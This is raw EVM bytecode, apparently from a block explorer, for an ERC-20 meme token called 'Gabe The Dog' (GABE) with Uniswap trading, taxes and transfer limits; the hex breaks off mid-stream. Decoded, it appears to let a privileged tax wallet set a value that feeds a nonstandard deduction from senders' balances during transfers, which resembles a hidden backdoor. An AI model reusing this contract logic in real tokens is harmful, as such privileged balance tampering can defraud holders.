00000000000000000000000000000000000000000000008152600401611a4d90612fb8565b60405180910390fd5b600f5482611a6385610904565b611a6d9190612fd6565b1115611aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa590613053565b60405180910390fd5b611aeb6064611add600954600d541015611aca57600554611ace565b6007545b856122be90919063ffffffff16565b61233590919063ffffffff16565b9050600d5f815480929190611aff90613071565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b8d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611bd257611bcf6064611bc1600a54600d541015611bae57600654611bb2565b6008545b856122be90919063ffffffff16565b61233590919063ffffffff16565b90505b5f611bdc30610904565b9050601460159054906101000a900460ff16158015611c47575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611c5f5750601460169054906101000a900460ff165b8015611c6c575060105481115b8015611c7c5750600b54600d5410155b15611d2b57601754431115611c93575f6015819055505b600360155410611cd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccf90613102565b60405180910390fd5b611cf5611cf084611ceb8460115461237e565b61237e565b612043565b5f4790505f811115611d0b57611d0a4761168c565b5b60155f815480929190611d1d90613071565b919050555043601781905550505b505b5f811115611e2c57611d858160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461239690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e2391906126b1565b60405180910390a35b611e806018548360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123f39092919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f23611ed7828461246690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461239690919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611fc6848661246690919063ffffffff16565b604051611fd391906126b1565b60405180910390a350505050565b5f838311158290612028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201f9190612580565b60405180910390fd5b505f83856120369190613120565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055506016546018819055505f600267ffffffffffffffff81111561208357612082613153565b5b6040519080825280602002602001820160405280156120b15781602001602082028036833780820191505090505b50905030815f815181106120c8576120c7613180565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561216c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121909190612ad5565b816001815181106121a4576121a3613180565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061220a3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c9565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161226c959493929190613264565b5f604051808303815f87803b158015612283575f5ffd5b505af1158015612295573d5f5f3e3d5ffd5b50505050505f6018819055505f601460156101000a81548160ff02191690831515021790555050565b5f5f83036122ce575f905061232f565b5f82846122db9190612a18565b90508284826122ea91906132e9565b1461232a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232190613389565b60405180910390fd5b809150505b92915050565b5f61237683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124af565b905092915050565b5f81831161238c578261238e565b815b905092915050565b5f5f82846123a49190612fd6565b9050838110156123e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e0906133f1565b60405180910390fd5b8091505092915050565b5f83821115612437576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242e90613459565b60405180910390fd5b61245d6124448584612466565b61245885612453866064612335565b6122be565b612396565b90509392505050565b5f6124a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe1565b905092915050565b5f5f831182906124f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ec9190612580565b60405180910390fd5b505f838561250391906132e9565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61255282612510565b61255c818561251a565b935061256c81856020860161252a565b61257581612538565b840191505092915050565b5f6020820190508181035f8301526125988184612548565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125cd826125a4565b9050919050565b6125dd816125c3565b81146125e7575f5ffd5b50565b5f813590506125f8816125d4565b92915050565b5f819050919050565b612610816125fe565b811461261a575f5ffd5b50565b5f8135905061262b81612607565b92915050565b5f5f60408385031215612647576126466125a0565b5b5f612654858286016125ea565b92505060206126658582860161261d565b9150509250929050565b5f8115159050919050565b6126838161266f565b82525050565b5f60208201905061269c5f83018461267a565b92915050565b6126ab816125fe565b82525050565b5f6020820190506126c45f8301846126a2565b92915050565b5f602082840312156126df576126de6125a0565b5b5f6126ec8482850161261d565b91505092915050565b5f5f5f6060848603121561270c5761270b6125a0565b5b5f612719868287016125ea565b935050602061272a868287016125ea565b925050604061273b8682870161261d565b9150509250925092565b5f60ff82169050919050565b61275a81612745565b82525050565b5f6020820190506127735f830184612751565b92915050565b5f6020828403121561278e5761278d6125a0565b5b5f61279b848285016125ea565b91505092915050565b6127ad816125c3565b82525050565b5f6020820190506127c65f8301846127a4565b92915050565b5f5f604083850312156127e2576127e16125a0565b5b5f6127ef858286016125ea565b9250506020612800858286016125ea565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61283e60208361251a565b91506128498261280a565b602082019050919050565b5f6020820190508181035f83015261286b81612832565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156128f4578086048111156128d0576128cf612872565b5b60018516156128df5780820291505b80810290506128ed8561289f565b94506128b4565b94509492505050565b5f8261290c57600190506129c7565b81612919575f90506129c7565b816001811461292f576002811461293957612968565b60019150506129c7565b60ff84111561294b5761294a612872565b5b8360020a91508482111561296257612961612872565b5b506129c7565b5060208310610133831016604e8410600b841016171561299d5782820a90508381111561299857612997612872565b5b6129c7565b6129aa84848460016128ab565b925090508184048111156129c1576129c0612872565b5b81810290505b9392505050565b5f6129d8826125fe565b91506129e383612745565b9250612a107fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846128fd565b905092915050565b5f612a22826125fe565b9150612a2d836125fe565b9250828202612a3b816125fe565b91508282048414831517612a5257612a51612872565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612a8d60178361251a565b9150612a9882612a59565b602082019050919050565b5f6020820190508181035f830152612aba81612a81565b9050919050565b5f81519050612acf816125d4565b92915050565b5f60208284031215612aea57612ae96125a0565b5b5f612af784828501612ac1565b91505092915050565b5f604082019050612b135f8301856127a4565b612b2060208301846127a4565b9392505050565b5f604082019050612b3a5f8301856127a4565b612b4760208301846126a2565b9392505050565b612b578161266f565b8114612b61575f5ffd5b50565b5f81519050612b7281612b4e565b92915050565b5f60208284031215612b8d57612b8c6125a0565b5b5f612b9a84828501612b64565b91505092915050565b5f819050919050565b5f819050919050565b5f612bcf612bca612bc584612ba3565b612bac565b6125fe565b9050919050565b612bdf81612bb5565b82525050565b5f60c082019050612bf85f8301896127a4565b612c0560208301886126a2565b612c126040830187612bd6565b612c1f6060830186612bd6565b612c2c60808301856127a4565b612c3960a08301846126a2565b979650505050505050565b5f81519050612c5281612607565b92915050565b5f5f5f60608486031215612c6f57612c6e6125a0565b5b5f612c7c86828701612c44565b9350506020612c8d86828701612c44565b9250506040612c9e86828701612c44565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612d0260248361251a565b9150612d0d82612ca8565b604082019050919050565b5f6020820190508181035f830152612d2f81612cf6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d9060228361251a565b9150612d9b82612d36565b604082019050919050565b5f6020820190508181035f830152612dbd81612d84565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612e1e60258361251a565b9150612e2982612dc4565b604082019050919050565b5f6020820190508181035f830152612e4b81612e12565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612eac60238361251a565b9150612eb782612e52565b604082019050919050565b5f6020820190508181035f830152612ed981612ea0565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612f3a60298361251a565b9150612f4582612ee0565b604082019050919050565b5f6020820190508181035f830152612f6781612f2e565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612fa260198361251a565b9150612fad82612f6e565b602082019050919050565b5f6020820190508181035f830152612fcf81612f96565b9050919050565b5f612fe0826125fe565b9150612feb836125fe565b925082820190508082111561300357613002612872565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61303d601a8361251a565b915061304882613009565b602082019050919050565b5f6020820190508181035f83015261306a81613031565b9050919050565b5f61307b826125fe565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130ad576130ac612872565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6130ec60178361251a565b91506130f7826130b8565b602082019050919050565b5f6020820190508181035f830152613119816130e0565b9050919050565b5f61312a826125fe565b9150613135836125fe565b925082820390508181111561314d5761314c612872565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131df816125c3565b82525050565b5f6131f083836131d6565b60208301905092915050565b5f602082019050919050565b5f613212826131ad565b61321c81856131b7565b9350613227836131c7565b805f5b8381101561325757815161323e88826131e5565b9750613249836131fc565b92505060018101905061322a565b5085935050505092915050565b5f60a0820190506132775f8301886126a2565b6132846020830187612bd6565b81810360408301526132968186613208565b90506132a560608301856127a4565b6132b260808301846126a2565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6132f3826125fe565b91506132fe836125fe565b92508261330e5761330d6132bc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61337360218361251a565b915061337e82613319565b604082019050919050565b5f6020820190508181035f8301526133a081613367565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6133db601b8361251a565b91506133e6826133a7565b602082019050919050565b5f6020820190508181035f830152613408816133cf565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f613443601e8361251a565b915061344e8261340f565b602082019050919050565b5f6020820190508181035f83015261347081613437565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d8bc8725bbd8914537d7b8e890e492003ccb4b3fc38970ff6b6bdeffee03ad4964736f6c634300081e0033
Deployed Bytecode
0x608060405260043610610122575f3560e01c806370a082311161009f57806395d89b411161006357806395d89b4114610387578063a9059cbb146103b1578063bf474bed146103ed578063c9567bf914610417578063dd62ed3e1461042d57610129565b806370a08231146102b7578063715018a6146102f35780637d1db4a5146103095780638da5cb5b146103335780638f9a55c01461035d57610129565b80631ad34a4f116100e65780631ad34a4f146101fd57806323b872dd14610225578063313ce5671461026157806351bc3c851461028b57806362256589146102a157610129565b806306fdde031461012d578063095ea7b3146101575780630faee56f14610193578063109daa99146101bd57806318160ddd146101d357610129565b3661012957005b5f5ffd5b348015610138575f5ffd5b50610141610469565b60405161014e9190612580565b60405180910390f35b348015610162575f5ffd5b5061017d60048036038101906101789190612631565b6104a6565b60405161018a9190612689565b60405180910390f35b34801561019e575f5ffd5b506101a76104c3565b6040516101b491906126b1565b60405180910390f35b3480156101c8575f5ffd5b506101d16104c9565b005b3480156101de575f5ffd5b506101e7610567565b6040516101f491906126b1565b60405180910390f35b348015610208575f5ffd5b50610223600480360381019061021e91906126ca565b61058a565b005b348015610230575f5ffd5b5061024b600480360381019061024691906126f5565b610660565b6040516102589190612689565b60405180910390f35b34801561026c575f5ffd5b50610275610734565b6040516102829190612760565b60405180910390f35b348015610296575f5ffd5b5061029f61073c565b005b3480156102ac575f5ffd5b506102b56107d4565b005b3480156102c2575f5ffd5b506102dd60048036038101906102d89190612779565b610904565b6040516102ea91906126b1565b60405180910390f35b3480156102fe575f5ffd5b5061030761094a565b005b348015610314575f5ffd5b5061031d610a9a565b60405161032a91906126b1565b60405180910390f35b34801561033e575f5ffd5b50610347610aa0565b60405161035491906127b3565b60405180910390f35b348015610368575f5ffd5b50610371610ac7565b60405161037e91906126b1565b60405180910390f35b348015610392575f5ffd5b5061039b610acd565b6040516103a89190612580565b60405180910390f35b3480156103bc575f5ffd5b506103d760048036038101906103d29190612631565b610b0a565b6040516103e49190612689565b60405180910390f35b3480156103f8575f5ffd5b50610401610b27565b60405161040e91906126b1565b60405180910390f35b348015610422575f5ffd5b5061042b610b2d565b005b348015610438575f5ffd5b50610453600480360381019061044e91906127cc565b611440565b60405161046091906126b1565b60405180910390f35b60606040518060400160405280600c81526020017f476162652054686520446f670000000000000000000000000000000000000000815250905090565b5f6104b96104b26114c2565b84846114c9565b6001905092915050565b60115481565b6104d16114c2565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590612854565b60405180910390fd5b5f600c81905550565b5f6009600a61057691906129ce565b633b9aca006105859190612a18565b905090565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105cb6114c2565b73ffffffffffffffffffffffffffffffffffffffff161480610640575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106286114c2565b73ffffffffffffffffffffffffffffffffffffffff16145b610648575f5ffd5b5f4790508160168190555061065c8161168c565b5050565b5f61066c8484846116f5565b610729846106786114c2565b610724856040518060600160405280602881526020016134786028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106db6114c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fe19092919063ffffffff16565b6114c9565b600190509392505050565b5f6009905090565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077d6114c2565b73ffffffffffffffffffffffffffffffffffffffff161461079c575f5ffd5b5f6107a630610904565b90505f8111156107ba576107b981612043565b5b5f4790505f8111156107d0576107cf8161168c565b5b5050565b6107dc6114c2565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612854565b60405180910390fd5b6009600a61087791906129ce565b633b9aca006108869190612a18565b600e819055506009600a61089a91906129ce565b633b9aca006108a99190612a18565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6108de91906129ce565b633b9aca006108ed9190612a18565b6040516108fa91906126b1565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109526114c2565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d690612854565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600481526020017f4741424500000000000000000000000000000000000000000000000000000000815250905090565b5f610b1d610b166114c2565b84846116f5565b6001905092915050565b60105481565b610b356114c2565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb990612854565b60405180910390fd5b60148054906101000a900460ff1615610c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0790612aa3565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735dcdc33a517d83ad865c3a3555b428b23e7aef5760145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d39573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d5d9190612ad5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390560125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610de2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e069190612ad5565b306040518363ffffffff1660e01b8152600401610e24929190612b00565b602060405180830381865afa158015610e3f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e639190612ad5565b73ffffffffffffffffffffffffffffffffffffffff16036110575760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ee8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f0c9190612ad5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f91573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fb59190612ad5565b306040518363ffffffff1660e01b8152600401610fd3929190612b00565b6020604051808303815f875af1158015610fef573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110139190612ad5565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061122b565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110c1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e59190612ad5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390560125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561116a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061118e9190612ad5565b306040518363ffffffff1660e01b81526004016111ac929190612b00565b602060405180830381865afa1580156111c7573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111eb9190612ad5565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112c8929190612b27565b6020604051808303815f875af11580156112e4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113089190612b78565b506113513060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61133d91906129ce565b633b9aca0061134c9190612a18565b6114c9565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061139930610904565b5f5f6113a3610aa0565b426040518863ffffffff1660e01b81526004016113c596959493929190612be5565b60606040518083038185885af11580156113e1573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114069190612c58565b5050506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612d18565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90612da6565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167f91906126b1565b60405180910390a3505050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156116f1573d5f5f3e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175a90612e34565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c890612ec2565b60405180910390fd5b5f8111611813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180a90612f50565b60405180910390fd5b5f5f905061181f610aa0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561188d575061185d610aa0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d2d575f600d54036118db576118d860646118ca600954600d5410156118b7576005546118bb565b6007545b856122be90919063ffffffff16565b61233590919063ffffffff16565b90505b5f600d5411156119105761190d60646118ff600c54856122be90919063ffffffff16565b61233590919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119b9575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a0c575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b0557600e54821115611a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4d90612fb8565b60405180910390fd5b600f5482611a6385610904565b611a6d9190612fd6565b1115611aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa590613053565b60405180910390fd5b611aeb6064611add600954600d541015611aca57600554611ace565b6007545b856122be90919063ffffffff16565b61233590919063ffffffff16565b9050600d5f815480929190611aff90613071565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b8d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611bd257611bcf6064611bc1600a54600d541015611bae57600654611bb2565b6008545b856122be90919063ffffffff16565b61233590919063ffffffff16565b90505b5f611bdc30610904565b9050601460159054906101000a900460ff16158015611c47575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611c5f5750601460169054906101000a900460ff165b8015611c6c575060105481115b8015611c7c5750600b54600d5410155b15611d2b57601754431115611c93575f6015819055505b600360155410611cd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccf90613102565b60405180910390fd5b611cf5611cf084611ceb8460115461237e565b61237e565b612043565b5f4790505f811115611d0b57611d0a4761168c565b5b60155f815480929190611d1d90613071565b919050555043601781905550505b505b5f811115611e2c57611d858160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461239690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e2391906126b1565b60405180910390a35b611e806018548360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123f39092919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f23611ed7828461246690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461239690919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611fc6848661246690919063ffffffff16565b604051611fd391906126b1565b60405180910390a350505050565b5f838311158290612028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201f9190612580565b60405180910390fd5b505f83856120369190613120565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055506016546018819055505f600267ffffffffffffffff81111561208357612082613153565b5b6040519080825280602002602001820160405280156120b15781602001602082028036833780820191505090505b50905030815f815181106120c8576120c7613180565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561216c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121909190612ad5565b816001815181106121a4576121a3613180565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061220a3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c9565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161226c959493929190613264565b5f604051808303815f87803b158015612283575f5ffd5b505af1158015612295573d5f5f3e3d5ffd5b50505050505f6018819055505f601460156101000a81548160ff02191690831515021790555050565b5f5f83036122ce575f905061232f565b5f82846122db9190612a18565b90508284826122ea91906132e9565b1461232a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232190613389565b60405180910390fd5b809150505b92915050565b5f61237683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124af565b905092915050565b5f81831161238c578261238e565b815b905092915